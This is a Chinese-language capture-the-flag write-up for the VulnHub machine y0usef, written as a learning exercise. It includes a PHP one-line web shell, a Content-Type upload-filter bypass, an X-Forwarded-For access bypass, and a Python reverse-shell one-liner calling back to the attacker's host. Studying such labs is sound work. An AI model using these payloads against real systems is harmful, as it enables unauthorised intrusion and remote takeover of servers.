【渗透测试】第一周 vulnhub-y0usef
第一周
可弟WZ
主页:blog.kekwy.com
2022年9月27日
一、实验准备
靶机:y0usef
下载链接:https://www.vulnhub.com/entry/y0usef-1,624/
攻击机:kali
二、实验目标
取得目标靶机的root权限和2个flag。
三、实验内容
在VirtualBox中同时启动kali攻击机和第三周靶机,并保证两者位于同一局域网下。
在kali中执行以下指令进行局域网主机发现:
1
sudo arp-scan -I eth0 -l
扫描结果如下:
可以推断1出靶机 地址为
10.0.2.5
。1:
推断方式很多,可以挨个扫描端口,可以控制变量(不开靶机扫描一次,启动靶机后再扫描一次),可以对比扫描结果与靶机的mac地址,也可以是经验之谈。在kali中执行以下指令扫描靶机的端口状态:
1
sudo nmap -p- 10.0.2.5
扫描结果如下:
发现开通了22、80两个端口,提示我们可以考虑靶机上的
ssh
与http
服务。为了进一步确定各端口的用途,我们可以通过以下指令2获取对应的服务版本信息:1
sudo nmap -p22,80 -sV -sC 10.0.2.5
2:
-p
对指定端口扫描
-sV -sC
默认安全脚本扫描扫描结果如下:
我们根据靶机开放的80端口,推测可以去网页上寻找突破口。于是在kali中打开浏览器,并输入靶机的IP,进入在靶机上运行的网站,顺便查看网站的源码:
但是发现网站与其源码中均无对我们有帮助的信息,再尝试能否查看靶机上的
robots.txt
文件3:但令人遗憾的是,我们并不能查看该文件。
3:
Robots协议(也称为爬虫协议、机器人协议等)的全称是“网络爬虫排除标准”(Robots Exclusion Protocol),网站通过Robots协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。obots.txt文件是一个文本文件。robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt文件告诉网络爬虫在服务器上什么文件是可以被查看的。使用whatweb工具查看web应用所采用的软件构架:
1
$ whatweb http://10.0.2.5
尝试使用工具
dirsearch
爆破 web 服务端的路径,发现一些隐藏的路径和文件:1
dirsearch -u http://10.0.2.5
结果如下:
得知4服务器上有三个我们可以访问的文件:
1
2
3/adminstration
/index.php
/index.php/login其中,通过后两个文件的url进入服务器后的页面与此前相同,仍无有价值信息。
4:
HTTP的状态码可分为五大类:1xx-临时响应、2xx-成功、3xx-重定向、4xx-请求错误、5xx-服务器错误。上述结果中出现的状态码的含义分别为:
状态码 含义 403 (禁止)服务器拒绝请求。 301 (永久移动)请求的网页已永久移动到新位置。服务器返回此响应(对 GET 或 HEAD 请求的响应)时,会自动将请求者转到新位置。 200 (成功)服务器已成功处理了请求。通常,这表示服务器提供了请求的网页。 访问
10.0.2.5/adminstration
:提示我们没有权限,需要进行“绕过”。这里我们采用“X系列头部绕过”的方式:
启动Burp Suit并启用拦截,将浏览器代理设置为
127.0.0.1:8080
(Burp Suit的默认代理端口为8080)。刷新页面,Burp Suit弹出拦截窗口,在被拦截的数据包中加入
X-Forwarded-For: 127.0.0.1
5(如下图),再将其发送。【后续被拦截的数据包都需要插入上述内容。】发现成功进入一个登录界面:
这里我们可以直接尝试一下弱口令,用户名和密码都输入admin,发现登入成功了。
5
: 让靶机服务器误以为该报文是从其本地发起的,从而获取访问权限。简单浏览了各个页面之后,发现没有什么直接可用的信息,但是这里的文件上传功能引起了我们的注意。
首先编写一个“一句话木马”的PHP 文件
shell.php
,内容如下:1
$var=shell_exec($_GET['cmd']); echo $var
尝试直接将其上传,发现网站提示文件被拒绝:
推测网站可能存在针对文件类型的过滤6,我们可以通过修改被拦截的报文中
Content-Type
字段的值进行绕过:修改为:
image/png
:文件上传成功了,并提供了上传完成的文件的URL。
6:
常见的过滤形式与绕过方法:- 针对文件扩展名的绕过:
修改文件扩展名后,再上传。
2)针对文件类型的绕过:
修改报文中的
Content-Type
字段(如本次实验)。3)针对文件内容的绕过:
在文件内容的前面添加上符合文件类型要求的数据,中间穿插我们的代码。
通过URL访问文件:
1
http://10.0.2.5/adminstration/upload/files/1663725708shell.php
进入了一片空白的页面,说明该url正确。再尝试输入指令,测试代码是否可以正常运行:
1
http://10.0.2.5/adminstration/upload/files/1663725708shell.php?cmd=ls
指令成功运行,到此为止我们就可以通过url让目标靶机执行反弹shell的代码了。首先,先试探一下靶机的语言环境:
1
http://10.0.2.5/adminstration/upload/files/1663725708shell.php?cmd=which python
得到了靶机上的python路径,说明靶机有python环境:
故我们可以利用python版的反弹shell代码实现反弹shell,首先在kali上监听某一个端口(如4444端口):
1
$ nc -nvlp 4444
修改对应的python代码:
1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
其中ip修改为kali的ip,port修改为刚才设置监听的端口。本次实验中分别为10.0.2.15、4444.
将修改好的代码插入上述URL中对应的参数位置(”cmd=”之后),再次访问,发现kali的shell成功监听到靶机的反弹shell:
使用以下指令对反弹shell进行一个简单的升级:
1
python -c "import pty; pty.spawn('/bin/bash')"
查看/etc/passwd 文件7:
1
cat /etc/passwd
注意到有以下一项:
1
yousef:x:1000:1000:yousef,,,:/home/yousef:/bin/bash
说明有一个叫
yousef
的用户可以登录系统8,且主目录为/home/yousef
。进入该用户的主目录,发现文件user.txt。查看内容,发现第一个flag。
7
: 在Linux系统中的passwd文件中,每一行对应一个用户的一组信息,每项信息用冒号隔开:1
用户名 : 密码 : uid : gid : 用户描述 : 主目录 : 登录shell
8
: 对于用户的登录shell:/bin/false
是最严格的禁止login选项,一切服务都不能用,/bin/nologin
只是不允许系统login,可以使用其他ftp等服务因此我们一眼就锁定了
yousef
用户(靶机passwd中的大部分用户都不能进行系统登录),而speech-dispatcher、guest-cpxNn2貌似也可以系统登录,但他们的用户名比较奇怪,不作为首选目标,当然也可以都去他们的主目录看一看,结果发现flag在yousef中,还是选择yousef作为突破口。第一个flag经过base64解码后,得到yousef用户可用于ssh登录的用户名和密码。恰好我们一开始就得知靶机在开放端口22上提供了ssh服务,故我们可以尝试使用ssh登入yousef。
退出反弹shell,在kali的shell使用以下指令:
1
ssh yousef@10.0.2.5
成功登入yousef后,查看该用户所在的用户组:
1
$ id
发现该用户属于sudo组,查看该用户可执行的指令:
1
$ sudo -l
发现该用户可以执行所有的系统指令,则我们可以直接切换为root身份:
1
sudo -i
查看root用户主目录下的文件,发现文件root.txt,查看并使用base64解码得到最后一个flag。
至此我们实现了root权限的提取,并成功获取了所有的两个flag。
【完结撒花】